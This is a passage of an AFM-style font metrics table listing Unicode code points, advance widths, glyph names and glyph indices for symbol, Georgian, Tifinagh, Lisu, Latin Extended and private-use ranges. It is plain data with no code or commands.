U 10880 ; WX 838 ; N uni2A80 ; G 4489
U 10881 ; WX 838 ; N uni2A81 ; G 4490
U 10882 ; WX 838 ; N uni2A82 ; G 4491
U 10883 ; WX 838 ; N uni2A83 ; G 4492
U 10884 ; WX 838 ; N uni2A84 ; G 4493
U 10885 ; WX 838 ; N uni2A85 ; G 4494
U 10886 ; WX 838 ; N uni2A86 ; G 4495
U 10887 ; WX 838 ; N uni2A87 ; G 4496
U 10888 ; WX 838 ; N uni2A88 ; G 4497
U 10889 ; WX 838 ; N uni2A89 ; G 4498
U 10890 ; WX 838 ; N uni2A8A ; G 4499
U 10891 ; WX 838 ; N uni2A8B ; G 4500
U 10892 ; WX 838 ; N uni2A8C ; G 4501
U 10893 ; WX 838 ; N uni2A8D ; G 4502
U 10894 ; WX 838 ; N uni2A8E ; G 4503
U 10895 ; WX 838 ; N uni2A8F ; G 4504
U 10896 ; WX 838 ; N uni2A90 ; G 4505
U 10897 ; WX 838 ; N uni2A91 ; G 4506
U 10898 ; WX 838 ; N uni2A92 ; G 4507
U 10899 ; WX 838 ; N uni2A93 ; G 4508
U 10900 ; WX 838 ; N uni2A94 ; G 4509
U 10901 ; WX 838 ; N uni2A95 ; G 4510
U 10902 ; WX 838 ; N uni2A96 ; G 4511
U 10903 ; WX 838 ; N uni2A97 ; G 4512
U 10904 ; WX 838 ; N uni2A98 ; G 4513
U 10905 ; WX 838 ; N uni2A99 ; G 4514
U 10906 ; WX 838 ; N uni2A9A ; G 4515
U 10907 ; WX 838 ; N uni2A9B ; G 4516
U 10908 ; WX 838 ; N uni2A9C ; G 4517
U 10909 ; WX 838 ; N uni2A9D ; G 4518
U 10910 ; WX 838 ; N uni2A9E ; G 4519
U 10911 ; WX 838 ; N uni2A9F ; G 4520
U 10912 ; WX 838 ; N uni2AA0 ; G 4521
U 10926 ; WX 838 ; N uni2AAE ; G 4522
U 10927 ; WX 838 ; N uni2AAF ; G 4523
U 10928 ; WX 838 ; N uni2AB0 ; G 4524
U 10929 ; WX 838 ; N uni2AB1 ; G 4525
U 10930 ; WX 838 ; N uni2AB2 ; G 4526
U 10931 ; WX 838 ; N uni2AB3 ; G 4527
U 10932 ; WX 838 ; N uni2AB4 ; G 4528
U 10933 ; WX 838 ; N uni2AB5 ; G 4529
U 10934 ; WX 838 ; N uni2AB6 ; G 4530
U 10935 ; WX 838 ; N uni2AB7 ; G 4531
U 10936 ; WX 838 ; N uni2AB8 ; G 4532
U 10937 ; WX 838 ; N uni2AB9 ; G 4533
U 10938 ; WX 838 ; N uni2ABA ; G 4534
U 11001 ; WX 838 ; N uni2AF9 ; G 4535
U 11002 ; WX 838 ; N uni2AFA ; G 4536
U 11008 ; WX 838 ; N uni2B00 ; G 4537
U 11009 ; WX 838 ; N uni2B01 ; G 4538
U 11010 ; WX 838 ; N uni2B02 ; G 4539
U 11011 ; WX 838 ; N uni2B03 ; G 4540
U 11012 ; WX 838 ; N uni2B04 ; G 4541
U 11013 ; WX 838 ; N uni2B05 ; G 4542
U 11014 ; WX 838 ; N uni2B06 ; G 4543
U 11015 ; WX 838 ; N uni2B07 ; G 4544
U 11016 ; WX 838 ; N uni2B08 ; G 4545
U 11017 ; WX 838 ; N uni2B09 ; G 4546
U 11018 ; WX 838 ; N uni2B0A ; G 4547
U 11019 ; WX 838 ; N uni2B0B ; G 4548
U 11020 ; WX 838 ; N uni2B0C ; G 4549
U 11021 ; WX 838 ; N uni2B0D ; G 4550
U 11022 ; WX 838 ; N uni2B0E ; G 4551
U 11023 ; WX 838 ; N uni2B0F ; G 4552
U 11024 ; WX 838 ; N uni2B10 ; G 4553
U 11025 ; WX 838 ; N uni2B11 ; G 4554
U 11026 ; WX 945 ; N uni2B12 ; G 4555
U 11027 ; WX 945 ; N uni2B13 ; G 4556
U 11028 ; WX 945 ; N uni2B14 ; G 4557
U 11029 ; WX 945 ; N uni2B15 ; G 4558
U 11030 ; WX 769 ; N uni2B16 ; G 4559
U 11031 ; WX 769 ; N uni2B17 ; G 4560
U 11032 ; WX 769 ; N uni2B18 ; G 4561
U 11033 ; WX 769 ; N uni2B19 ; G 4562
U 11034 ; WX 945 ; N uni2B1A ; G 4563
U 11039 ; WX 869 ; N uni2B1F ; G 4564
U 11040 ; WX 869 ; N uni2B20 ; G 4565
U 11041 ; WX 873 ; N uni2B21 ; G 4566
U 11042 ; WX 873 ; N uni2B22 ; G 4567
U 11043 ; WX 873 ; N uni2B23 ; G 4568
U 11044 ; WX 1119 ; N uni2B24 ; G 4569
U 11091 ; WX 869 ; N uni2B53 ; G 4570
U 11092 ; WX 869 ; N uni2B54 ; G 4571
U 11360 ; WX 637 ; N uni2C60 ; G 4572
U 11361 ; WX 360 ; N uni2C61 ; G 4573
U 11362 ; WX 637 ; N uni2C62 ; G 4574
U 11363 ; WX 733 ; N uni2C63 ; G 4575
U 11364 ; WX 770 ; N uni2C64 ; G 4576
U 11365 ; WX 675 ; N uni2C65 ; G 4577
U 11366 ; WX 478 ; N uni2C66 ; G 4578
U 11367 ; WX 956 ; N uni2C67 ; G 4579
U 11368 ; WX 712 ; N uni2C68 ; G 4580
U 11369 ; WX 775 ; N uni2C69 ; G 4581
U 11370 ; WX 665 ; N uni2C6A ; G 4582
U 11371 ; WX 725 ; N uni2C6B ; G 4583
U 11372 ; WX 582 ; N uni2C6C ; G 4584
U 11373 ; WX 860 ; N uni2C6D ; G 4585
U 11374 ; WX 995 ; N uni2C6E ; G 4586
U 11375 ; WX 774 ; N uni2C6F ; G 4587
U 11376 ; WX 860 ; N uni2C70 ; G 4588
U 11377 ; WX 778 ; N uni2C71 ; G 4589
U 11378 ; WX 1221 ; N uni2C72 ; G 4590
U 11379 ; WX 1056 ; N uni2C73 ; G 4591
U 11380 ; WX 652 ; N uni2C74 ; G 4592
U 11381 ; WX 698 ; N uni2C75 ; G 4593
U 11382 ; WX 565 ; N uni2C76 ; G 4594
U 11383 ; WX 782 ; N uni2C77 ; G 4595
U 11385 ; WX 538 ; N uni2C79 ; G 4596
U 11386 ; WX 687 ; N uni2C7A ; G 4597
U 11387 ; WX 559 ; N uni2C7B ; G 4598
U 11388 ; WX 219 ; N uni2C7C ; G 4599
U 11389 ; WX 487 ; N uni2C7D ; G 4600
U 11390 ; WX 720 ; N uni2C7E ; G 4601
U 11391 ; WX 725 ; N uni2C7F ; G 4602
U 11520 ; WX 663 ; N uni2D00 ; G 4603
U 11521 ; WX 676 ; N uni2D01 ; G 4604
U 11522 ; WX 661 ; N uni2D02 ; G 4605
U 11523 ; WX 629 ; N uni2D03 ; G 4606
U 11524 ; WX 661 ; N uni2D04 ; G 4607
U 11525 ; WX 1032 ; N uni2D05 ; G 4608
U 11526 ; WX 718 ; N uni2D06 ; G 4609
U 11527 ; WX 1032 ; N uni2D07 ; G 4610
U 11528 ; WX 648 ; N uni2D08 ; G 4611
U 11529 ; WX 667 ; N uni2D09 ; G 4612
U 11530 ; WX 1032 ; N uni2D0A ; G 4613
U 11531 ; WX 673 ; N uni2D0B ; G 4614
U 11532 ; WX 677 ; N uni2D0C ; G 4615
U 11533 ; WX 1036 ; N uni2D0D ; G 4616
U 11534 ; WX 680 ; N uni2D0E ; G 4617
U 11535 ; WX 886 ; N uni2D0F ; G 4618
U 11536 ; WX 1032 ; N uni2D10 ; G 4619
U 11537 ; WX 683 ; N uni2D11 ; G 4620
U 11538 ; WX 674 ; N uni2D12 ; G 4621
U 11539 ; WX 1035 ; N uni2D13 ; G 4622
U 11540 ; WX 1033 ; N uni2D14 ; G 4623
U 11541 ; WX 1027 ; N uni2D15 ; G 4624
U 11542 ; WX 676 ; N uni2D16 ; G 4625
U 11543 ; WX 673 ; N uni2D17 ; G 4626
U 11544 ; WX 667 ; N uni2D18 ; G 4627
U 11545 ; WX 667 ; N uni2D19 ; G 4628
U 11546 ; WX 660 ; N uni2D1A ; G 4629
U 11547 ; WX 671 ; N uni2D1B ; G 4630
U 11548 ; WX 1039 ; N uni2D1C ; G 4631
U 11549 ; WX 673 ; N uni2D1D ; G 4632
U 11550 ; WX 692 ; N uni2D1E ; G 4633
U 11551 ; WX 659 ; N uni2D1F ; G 4634
U 11552 ; WX 1048 ; N uni2D20 ; G 4635
U 11553 ; WX 660 ; N uni2D21 ; G 4636
U 11554 ; WX 654 ; N uni2D22 ; G 4637
U 11555 ; WX 670 ; N uni2D23 ; G 4638
U 11556 ; WX 733 ; N uni2D24 ; G 4639
U 11557 ; WX 1017 ; N uni2D25 ; G 4640
U 11568 ; WX 691 ; N uni2D30 ; G 4641
U 11569 ; WX 941 ; N uni2D31 ; G 4642
U 11570 ; WX 941 ; N uni2D32 ; G 4643
U 11571 ; WX 725 ; N uni2D33 ; G 4644
U 11572 ; WX 725 ; N uni2D34 ; G 4645
U 11573 ; WX 725 ; N uni2D35 ; G 4646
U 11574 ; WX 676 ; N uni2D36 ; G 4647
U 11575 ; WX 774 ; N uni2D37 ; G 4648
U 11576 ; WX 774 ; N uni2D38 ; G 4649
U 11577 ; WX 683 ; N uni2D39 ; G 4650
U 11578 ; WX 683 ; N uni2D3A ; G 4651
U 11579 ; WX 802 ; N uni2D3B ; G 4652
U 11580 ; WX 989 ; N uni2D3C ; G 4653
U 11581 ; WX 761 ; N uni2D3D ; G 4654
U 11582 ; WX 623 ; N uni2D3E ; G 4655
U 11583 ; WX 761 ; N uni2D3F ; G 4656
U 11584 ; WX 941 ; N uni2D40 ; G 4657
U 11585 ; WX 941 ; N uni2D41 ; G 4658
U 11586 ; WX 373 ; N uni2D42 ; G 4659
U 11587 ; WX 740 ; N uni2D43 ; G 4660
U 11588 ; WX 837 ; N uni2D44 ; G 4661
U 11589 ; WX 914 ; N uni2D45 ; G 4662
U 11590 ; WX 672 ; N uni2D46 ; G 4663
U 11591 ; WX 737 ; N uni2D47 ; G 4664
U 11592 ; WX 680 ; N uni2D48 ; G 4665
U 11593 ; WX 683 ; N uni2D49 ; G 4666
U 11594 ; WX 602 ; N uni2D4A ; G 4667
U 11595 ; WX 1039 ; N uni2D4B ; G 4668
U 11596 ; WX 778 ; N uni2D4C ; G 4669
U 11597 ; WX 837 ; N uni2D4D ; G 4670
U 11598 ; WX 683 ; N uni2D4E ; G 4671
U 11599 ; WX 372 ; N uni2D4F ; G 4672
U 11600 ; WX 778 ; N uni2D50 ; G 4673
U 11601 ; WX 373 ; N uni2D51 ; G 4674
U 11602 ; WX 725 ; N uni2D52 ; G 4675
U 11603 ; WX 691 ; N uni2D53 ; G 4676
U 11604 ; WX 941 ; N uni2D54 ; G 4677
U 11605 ; WX 941 ; N uni2D55 ; G 4678
U 11606 ; WX 837 ; N uni2D56 ; G 4679
U 11607 ; WX 373 ; N uni2D57 ; G 4680
U 11608 ; WX 836 ; N uni2D58 ; G 4681
U 11609 ; WX 941 ; N uni2D59 ; G 4682
U 11610 ; WX 941 ; N uni2D5A ; G 4683
U 11611 ; WX 734 ; N uni2D5B ; G 4684
U 11612 ; WX 876 ; N uni2D5C ; G 4685
U 11613 ; WX 771 ; N uni2D5D ; G 4686
U 11614 ; WX 734 ; N uni2D5E ; G 4687
U 11615 ; WX 683 ; N uni2D5F ; G 4688
U 11616 ; WX 774 ; N uni2D60 ; G 4689
U 11617 ; WX 837 ; N uni2D61 ; G 4690
U 11618 ; WX 683 ; N uni2D62 ; G 4691
U 11619 ; WX 850 ; N uni2D63 ; G 4692
U 11620 ; WX 697 ; N uni2D64 ; G 4693
U 11621 ; WX 850 ; N uni2D65 ; G 4694
U 11631 ; WX 716 ; N uni2D6F ; G 4695
U 11800 ; WX 580 ; N uni2E18 ; G 4696
U 11807 ; WX 838 ; N uni2E1F ; G 4697
U 11810 ; WX 457 ; N uni2E22 ; G 4698
U 11811 ; WX 457 ; N uni2E23 ; G 4699
U 11812 ; WX 457 ; N uni2E24 ; G 4700
U 11813 ; WX 457 ; N uni2E25 ; G 4701
U 11822 ; WX 580 ; N uni2E2E ; G 4702
U 19904 ; WX 896 ; N uni4DC0 ; G 4703
U 19905 ; WX 896 ; N uni4DC1 ; G 4704
U 19906 ; WX 896 ; N uni4DC2 ; G 4705
U 19907 ; WX 896 ; N uni4DC3 ; G 4706
U 19908 ; WX 896 ; N uni4DC4 ; G 4707
U 19909 ; WX 896 ; N uni4DC5 ; G 4708
U 19910 ; WX 896 ; N uni4DC6 ; G 4709
U 19911 ; WX 896 ; N uni4DC7 ; G 4710
U 19912 ; WX 896 ; N uni4DC8 ; G 4711
U 19913 ; WX 896 ; N uni4DC9 ; G 4712
U 19914 ; WX 896 ; N uni4DCA ; G 4713
U 19915 ; WX 896 ; N uni4DCB ; G 4714
U 19916 ; WX 896 ; N uni4DCC ; G 4715
U 19917 ; WX 896 ; N uni4DCD ; G 4716
U 19918 ; WX 896 ; N uni4DCE ; G 4717
U 19919 ; WX 896 ; N uni4DCF ; G 4718
U 19920 ; WX 896 ; N uni4DD0 ; G 4719
U 19921 ; WX 896 ; N uni4DD1 ; G 4720
U 19922 ; WX 896 ; N uni4DD2 ; G 4721
U 19923 ; WX 896 ; N uni4DD3 ; G 4722
U 19924 ; WX 896 ; N uni4DD4 ; G 4723
U 19925 ; WX 896 ; N uni4DD5 ; G 4724
U 19926 ; WX 896 ; N uni4DD6 ; G 4725
U 19927 ; WX 896 ; N uni4DD7 ; G 4726
U 19928 ; WX 896 ; N uni4DD8 ; G 4727
U 19929 ; WX 896 ; N uni4DD9 ; G 4728
U 19930 ; WX 896 ; N uni4DDA ; G 4729
U 19931 ; WX 896 ; N uni4DDB ; G 4730
U 19932 ; WX 896 ; N uni4DDC ; G 4731
U 19933 ; WX 896 ; N uni4DDD ; G 4732
U 19934 ; WX 896 ; N uni4DDE ; G 4733
U 19935 ; WX 896 ; N uni4DDF ; G 4734
U 19936 ; WX 896 ; N uni4DE0 ; G 4735
U 19937 ; WX 896 ; N uni4DE1 ; G 4736
U 19938 ; WX 896 ; N uni4DE2 ; G 4737
U 19939 ; WX 896 ; N uni4DE3 ; G 4738
U 19940 ; WX 896 ; N uni4DE4 ; G 4739
U 19941 ; WX 896 ; N uni4DE5 ; G 4740
U 19942 ; WX 896 ; N uni4DE6 ; G 4741
U 19943 ; WX 896 ; N uni4DE7 ; G 4742
U 19944 ; WX 896 ; N uni4DE8 ; G 4743
U 19945 ; WX 896 ; N uni4DE9 ; G 4744
U 19946 ; WX 896 ; N uni4DEA ; G 4745
U 19947 ; WX 896 ; N uni4DEB ; G 4746
U 19948 ; WX 896 ; N uni4DEC ; G 4747
U 19949 ; WX 896 ; N uni4DED ; G 4748
U 19950 ; WX 896 ; N uni4DEE ; G 4749
U 19951 ; WX 896 ; N uni4DEF ; G 4750
U 19952 ; WX 896 ; N uni4DF0 ; G 4751
U 19953 ; WX 896 ; N uni4DF1 ; G 4752
U 19954 ; WX 896 ; N uni4DF2 ; G 4753
U 19955 ; WX 896 ; N uni4DF3 ; G 4754
U 19956 ; WX 896 ; N uni4DF4 ; G 4755
U 19957 ; WX 896 ; N uni4DF5 ; G 4756
U 19958 ; WX 896 ; N uni4DF6 ; G 4757
U 19959 ; WX 896 ; N uni4DF7 ; G 4758
U 19960 ; WX 896 ; N uni4DF8 ; G 4759
U 19961 ; WX 896 ; N uni4DF9 ; G 4760
U 19962 ; WX 896 ; N uni4DFA ; G 4761
U 19963 ; WX 896 ; N uni4DFB ; G 4762
U 19964 ; WX 896 ; N uni4DFC ; G 4763
U 19965 ; WX 896 ; N uni4DFD ; G 4764
U 19966 ; WX 896 ; N uni4DFE ; G 4765
U 19967 ; WX 896 ; N uni4DFF ; G 4766
U 42192 ; WX 762 ; N uniA4D0 ; G 4767
U 42193 ; WX 733 ; N uniA4D1 ; G 4768
U 42194 ; WX 733 ; N uniA4D2 ; G 4769
U 42195 ; WX 830 ; N uniA4D3 ; G 4770
U 42196 ; WX 682 ; N uniA4D4 ; G 4771
U 42197 ; WX 682 ; N uniA4D5 ; G 4772
U 42198 ; WX 821 ; N uniA4D6 ; G 4773
U 42199 ; WX 775 ; N uniA4D7 ; G 4774
U 42200 ; WX 775 ; N uniA4D8 ; G 4775
U 42201 ; WX 530 ; N uniA4D9 ; G 4776
U 42202 ; WX 734 ; N uniA4DA ; G 4777
U 42203 ; WX 734 ; N uniA4DB ; G 4778
U 42204 ; WX 725 ; N uniA4DC ; G 4779
U 42205 ; WX 683 ; N uniA4DD ; G 4780
U 42206 ; WX 683 ; N uniA4DE ; G 4781
U 42207 ; WX 995 ; N uniA4DF ; G 4782
U 42208 ; WX 837 ; N uniA4E0 ; G 4783
U 42209 ; WX 637 ; N uniA4E1 ; G 4784
U 42210 ; WX 720 ; N uniA4E2 ; G 4785
U 42211 ; WX 770 ; N uniA4E3 ; G 4786
U 42212 ; WX 770 ; N uniA4E4 ; G 4787
U 42213 ; WX 774 ; N uniA4E5 ; G 4788
U 42214 ; WX 774 ; N uniA4E6 ; G 4789
U 42215 ; WX 837 ; N uniA4E7 ; G 4790
U 42216 ; WX 775 ; N uniA4E8 ; G 4791
U 42217 ; WX 530 ; N uniA4E9 ; G 4792
U 42218 ; WX 1103 ; N uniA4EA ; G 4793
U 42219 ; WX 771 ; N uniA4EB ; G 4794
U 42220 ; WX 724 ; N uniA4EC ; G 4795
U 42221 ; WX 762 ; N uniA4ED ; G 4796
U 42222 ; WX 774 ; N uniA4EE ; G 4797
U 42223 ; WX 774 ; N uniA4EF ; G 4798
U 42224 ; WX 683 ; N uniA4F0 ; G 4799
U 42225 ; WX 683 ; N uniA4F1 ; G 4800
U 42226 ; WX 372 ; N uniA4F2 ; G 4801
U 42227 ; WX 850 ; N uniA4F3 ; G 4802
U 42228 ; WX 812 ; N uniA4F4 ; G 4803
U 42229 ; WX 812 ; N uniA4F5 ; G 4804
U 42230 ; WX 557 ; N uniA4F6 ; G 4805
U 42231 ; WX 830 ; N uniA4F7 ; G 4806
U 42232 ; WX 322 ; N uniA4F8 ; G 4807
U 42233 ; WX 322 ; N uniA4F9 ; G 4808
U 42234 ; WX 674 ; N uniA4FA ; G 4809
U 42235 ; WX 674 ; N uniA4FB ; G 4810
U 42236 ; WX 322 ; N uniA4FC ; G 4811
U 42237 ; WX 322 ; N uniA4FD ; G 4812
U 42238 ; WX 588 ; N uniA4FE ; G 4813
U 42239 ; WX 588 ; N uniA4FF ; G 4814
U 42564 ; WX 720 ; N uniA644 ; G 4815
U 42565 ; WX 595 ; N uniA645 ; G 4816
U 42566 ; WX 436 ; N uniA646 ; G 4817
U 42567 ; WX 440 ; N uniA647 ; G 4818
U 42572 ; WX 1405 ; N uniA64C ; G 4819
U 42573 ; WX 1173 ; N uniA64D ; G 4820
U 42576 ; WX 1234 ; N uniA650 ; G 4821
U 42577 ; WX 1027 ; N uniA651 ; G 4822
U 42580 ; WX 1174 ; N uniA654 ; G 4823
U 42581 ; WX 972 ; N uniA655 ; G 4824
U 42582 ; WX 1093 ; N uniA656 ; G 4825
U 42583 ; WX 958 ; N uniA657 ; G 4826
U 42594 ; WX 1085 ; N uniA662 ; G 4827
U 42595 ; WX 924 ; N uniA663 ; G 4828
U 42596 ; WX 1096 ; N uniA664 ; G 4829
U 42597 ; WX 912 ; N uniA665 ; G 4830
U 42598 ; WX 1260 ; N uniA666 ; G 4831
U 42599 ; WX 997 ; N uniA667 ; G 4832
U 42600 ; WX 850 ; N uniA668 ; G 4833
U 42601 ; WX 687 ; N uniA669 ; G 4834
U 42602 ; WX 1037 ; N uniA66A ; G 4835
U 42603 ; WX 868 ; N uniA66B ; G 4836
U 42604 ; WX 1406 ; N uniA66C ; G 4837
U 42605 ; WX 1106 ; N uniA66D ; G 4838
U 42606 ; WX 961 ; N uniA66E ; G 4839
U 42634 ; WX 963 ; N uniA68A ; G 4840
U 42635 ; WX 787 ; N uniA68B ; G 4841
U 42636 ; WX 682 ; N uniA68C ; G 4842
U 42637 ; WX 580 ; N uniA68D ; G 4843
U 42644 ; WX 808 ; N uniA694 ; G 4844
U 42645 ; WX 712 ; N uniA695 ; G 4845
U 42648 ; WX 1406 ; N uniA698 ; G 4846
U 42649 ; WX 1106 ; N uniA699 ; G 4847
U 42760 ; WX 500 ; N uniA708 ; G 4848
U 42761 ; WX 500 ; N uniA709 ; G 4849
U 42762 ; WX 500 ; N uniA70A ; G 4850
U 42763 ; WX 500 ; N uniA70B ; G 4851
U 42764 ; WX 500 ; N uniA70C ; G 4852
U 42765 ; WX 500 ; N uniA70D ; G 4853
U 42766 ; WX 500 ; N uniA70E ; G 4854
U 42767 ; WX 500 ; N uniA70F ; G 4855
U 42768 ; WX 500 ; N uniA710 ; G 4856
U 42769 ; WX 500 ; N uniA711 ; G 4857
U 42770 ; WX 500 ; N uniA712 ; G 4858
U 42771 ; WX 500 ; N uniA713 ; G 4859
U 42772 ; WX 500 ; N uniA714 ; G 4860
U 42773 ; WX 500 ; N uniA715 ; G 4861
U 42774 ; WX 500 ; N uniA716 ; G 4862
U 42779 ; WX 400 ; N uniA71B ; G 4863
U 42780 ; WX 400 ; N uniA71C ; G 4864
U 42781 ; WX 287 ; N uniA71D ; G 4865
U 42782 ; WX 287 ; N uniA71E ; G 4866
U 42783 ; WX 287 ; N uniA71F ; G 4867
U 42786 ; WX 444 ; N uniA722 ; G 4868
U 42787 ; WX 390 ; N uniA723 ; G 4869
U 42788 ; WX 540 ; N uniA724 ; G 4870
U 42789 ; WX 540 ; N uniA725 ; G 4871
U 42790 ; WX 837 ; N uniA726 ; G 4872
U 42791 ; WX 712 ; N uniA727 ; G 4873
U 42792 ; WX 1031 ; N uniA728 ; G 4874
U 42793 ; WX 857 ; N uniA729 ; G 4875
U 42794 ; WX 696 ; N uniA72A ; G 4876
U 42795 ; WX 557 ; N uniA72B ; G 4877
U 42800 ; WX 559 ; N uniA730 ; G 4878
U 42801 ; WX 595 ; N uniA731 ; G 4879
U 42802 ; WX 1349 ; N uniA732 ; G 4880
U 42803 ; WX 1052 ; N uniA733 ; G 4881
U 42804 ; WX 1284 ; N uniA734 ; G 4882
U 42805 ; WX 1064 ; N uniA735 ; G 4883
U 42806 ; WX 1216 ; N uniA736 ; G 4884
U 42807 ; WX 1054 ; N uniA737 ; G 4885
U 42808 ; WX 1079 ; N uniA738 ; G 4886
U 42809 ; WX 922 ; N uniA739 ; G 4887
U 42810 ; WX 1079 ; N uniA73A ; G 4888
U 42811 ; WX 922 ; N uniA73B ; G 4889
U 42812 ; WX 1035 ; N uniA73C ; G 4890
U 42813 ; WX 922 ; N uniA73D ; G 4891
U 42814 ; WX 698 ; N uniA73E ; G 4892
U 42815 ; WX 549 ; N uniA73F ; G 4893
U 42816 ; WX 656 ; N uniA740 ; G 4894
U 42817 ; WX 688 ; N uniA741 ; G 4895
U 42822 ; WX 850 ; N uniA746 ; G 4896
U 42823 ; WX 542 ; N uniA747 ; G 4897
U 42824 ; WX 683 ; N uniA748 ; G 4898
U 42825 ; WX 531 ; N uniA749 ; G 4899
U 42826 ; WX 918 ; N uniA74A ; G 4900
U 42827 ; WX 814 ; N uniA74B ; G 4901
U 42830 ; WX 1406 ; N uniA74E ; G 4902
U 42831 ; WX 1106 ; N uniA74F ; G 4903
U 42832 ; WX 733 ; N uniA750 ; G 4904
U 42833 ; WX 716 ; N uniA751 ; G 4905
U 42834 ; WX 948 ; N uniA752 ; G 4906
U 42835 ; WX 937 ; N uniA753 ; G 4907
U 42838 ; WX 850 ; N uniA756 ; G 4908
U 42839 ; WX 716 ; N uniA757 ; G 4909
U 42852 ; WX 738 ; N uniA764 ; G 4910
U 42853 ; WX 716 ; N uniA765 ; G 4911
U 42854 ; WX 738 ; N uniA766 ; G 4912
U 42855 ; WX 716 ; N uniA767 ; G 4913
U 42880 ; WX 637 ; N uniA780 ; G 4914
U 42881 ; WX 343 ; N uniA781 ; G 4915
U 42882 ; WX 837 ; N uniA782 ; G 4916
U 42883 ; WX 712 ; N uniA783 ; G 4917
U 42889 ; WX 400 ; N uniA789 ; G 4918
U 42890 ; WX 386 ; N uniA78A ; G 4919
U 42891 ; WX 456 ; N uniA78B ; G 4920
U 42892 ; WX 306 ; N uniA78C ; G 4921
U 42893 ; WX 808 ; N uniA78D ; G 4922
U 42894 ; WX 693 ; N uniA78E ; G 4923
U 42896 ; WX 928 ; N uniA790 ; G 4924
U 42897 ; WX 768 ; N uniA791 ; G 4925
U 42912 ; WX 821 ; N uniA7A0 ; G 4926
U 42913 ; WX 716 ; N uniA7A1 ; G 4927
U 42914 ; WX 775 ; N uniA7A2 ; G 4928
U 42915 ; WX 665 ; N uniA7A3 ; G 4929
U 42916 ; WX 837 ; N uniA7A4 ; G 4930
U 42917 ; WX 712 ; N uniA7A5 ; G 4931
U 42918 ; WX 770 ; N uniA7A6 ; G 4932
U 42919 ; WX 493 ; N uniA7A7 ; G 4933
U 42920 ; WX 720 ; N uniA7A8 ; G 4934
U 42921 ; WX 595 ; N uniA7A9 ; G 4935
U 42922 ; WX 886 ; N uniA7AA ; G 4936
U 43000 ; WX 613 ; N uniA7F8 ; G 4937
U 43001 ; WX 689 ; N uniA7F9 ; G 4938
U 43002 ; WX 1062 ; N uniA7FA ; G 4939
U 43003 ; WX 683 ; N uniA7FB ; G 4940
U 43004 ; WX 733 ; N uniA7FC ; G 4941
U 43005 ; WX 995 ; N uniA7FD ; G 4942
U 43006 ; WX 372 ; N uniA7FE ; G 4943
U 43007 ; WX 1325 ; N uniA7FF ; G 4944
U 61184 ; WX 216 ; N uni02E5.5 ; G 4945
U 61185 ; WX 242 ; N uni02E6.5 ; G 4946
U 61186 ; WX 267 ; N uni02E7.5 ; G 4947
U 61187 ; WX 277 ; N uni02E8.5 ; G 4948
U 61188 ; WX 282 ; N uni02E9.5 ; G 4949
U 61189 ; WX 242 ; N uni02E5.4 ; G 4950
U 61190 ; WX 216 ; N uni02E6.4 ; G 4951
U 61191 ; WX 242 ; N uni02E7.4 ; G 4952
U 61192 ; WX 267 ; N uni02E8.4 ; G 4953
U 61193 ; WX 277 ; N uni02E9.4 ; G 4954
U 61194 ; WX 267 ; N uni02E5.3 ; G 4955
U 61195 ; WX 242 ; N uni02E6.3 ; G 4956
U 61196 ; WX 216 ; N uni02E7.3 ; G 4957
U 61197 ; WX 242 ; N uni02E8.3 ; G 4958
U 61198 ; WX 267 ; N uni02E9.3 ; G 4959
U 61199 ; WX 277 ; N uni02E5.2 ; G 4960
U 61200 ; WX 267 ; N uni02E6.2 ; G 4961
U 61201 ; WX 242 ; N uni02E7.2 ; G 4962
U 61202 ; WX 216 ; N uni02E8.2 ; G 4963
U 61203 ; WX 242 ; N uni02E9.2 ; G 4964
U 61204 ; WX 282 ; N uni02E5.1 ; G 4965
U 61205 ; WX 277 ; N uni02E6.1 ; G 4966
U 61206 ; WX 267 ; N uni02E7.1 ; G 4967
U 61207 ; WX 242 ; N uni02E8.1 ; G 4968
U 61208 ; WX 216 ; N uni02E9.1 ; G 4969
U 61209 ; WX 282 ; N stem ; G 4970
U 62464 ; WX 612 ; N uniF400 ; G 4971
U 62465 ; WX 612 ; N uniF401 ; G 4972
U 62466 ; WX 653 ; N uniF402 ; G 4973
U 62467 ; WX 902 ; N uniF403 ; G 4974
U 62468 ; WX 622 ; N uniF404 ; G 4975
U 62469 ; WX 622 ; N uniF405 ; G 4976
U 62470 ; WX 661 ; N uniF406 ; G 4977
U 62471 ; WX 895 ; N uniF407 ; G 4978
U 62472 ; WX 589 ; N uniF408 ; G 4979
U 62473 ; WX 622 ; N uniF409 ; G 4980
U 62474 ; WX 1163 ; N uniF40A ; G 4981
U 62475 ; WX 626 ; N uniF40B ; G 4982
U 62476 ; WX 627 ; N uniF40C ; G 4983
U 62477 ; WX 893 ; N uniF40D ; G 4984
U 62478 ; WX 612 ; N uniF40E ; G 4985
U 62479 ; WX 626 ; N uniF40F ; G 4986
U 62480 ; WX 924 ; N uniF410 ; G 4987
U 62481 ; WX 627 ; N uniF411 ; G 4988
U 62482 ; WX 744 ; N uniF412 ; G 4989
U 62483 ; WX 634 ; N uniF413 ; G 4990
U 62484 ; WX 886 ; N uniF414 ; G 4991
U 62485 ; WX 626 ; N uniF415 ; G 4992
U 62486 ; WX 907 ; N uniF416 ; G 4993
U 62487 ; WX 626 ; N uniF417 ; G 4994
U 62488 ; WX 621 ; N uniF418 ; G 4995
U 62489 ; WX 628 ; N uniF419 ; G 4996
U 62490 ; WX 677 ; N uniF41A ; G 4997
U 62491 ; WX 626 ; N uniF41B ; G 4998
U 62492 ; WX 621 ; N uniF41C ; G 4999
U 62493 ; WX 630 ; N uniF41D ; G 5000
U 62494 ; WX 627 ; N uniF41E ; G 5001
U 62495 ; WX 571 ; N uniF41F ; G 5002
U 62496 ; WX 622 ; N uniF420 ; G 5003
U 62497 ; WX 631 ; N uniF421 ; G 5004
U 62498 ; WX 612 ; N uniF422 ; G 5005
U 62499 ; WX 611 ; N uniF423 ; G 5006
U 62500 ; WX 618 ; N uniF424 ; G 5007
U 62501 ; WX 671 ; N uniF425 ; G 5008
U 62502 ; WX 963 ; N uniF426 ; G 5009
U 62504 ; WX 1023 ; N uniF428 ; G 5010
U 62505 ; WX 844 ; N uniF429 ; G 5011
U 62506 ; WX 563 ; N uniF42A ; G 5012
U 62507 ; WX 563 ; N uniF42B ; G 5013
U 62508 ; WX 563 ; N uniF42C ; G 5014
U 62509 ; WX 563 ; N uniF42D ; G 5015
U 62510 ; WX 563 ; N uniF42E ; G 5016
U 62511 ; WX 563 ; N uniF42F ; G 5017
U 62512 ; WX 555 ; N uniF430 ; G 5018
U 62513 ; WX 555 ; N uniF431 ; G 5019
U 62514 ; WX 555 ; N uniF432 ; G 5020
U 62515 ; WX 555 ; N uniF433 ; G 5021
U 62516 ; WX 573 ; N uniF434 ; G 5022
